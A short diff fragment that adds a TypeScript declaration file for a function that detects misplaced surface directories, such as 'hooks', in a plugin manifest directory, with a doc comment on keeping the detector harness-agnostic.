+ * "hooks"]`) so the detector stays harness-agnostic — NEVER hard-code them.
25
+ *
26
+ * Returns `[]` when the manifest dir doesn't exist or holds no misplaced surface
27
+ * dirs.
28
+ */
29
+ export declare function pluginDirLayoutIssues(manifestDir: string, surfaceDirNames: readonly string[], opts?: PluginLayoutOptions): PluginLayoutFinding[];
30
+ //# sourceMappingURL=plugin-dir-layout.d.ts.map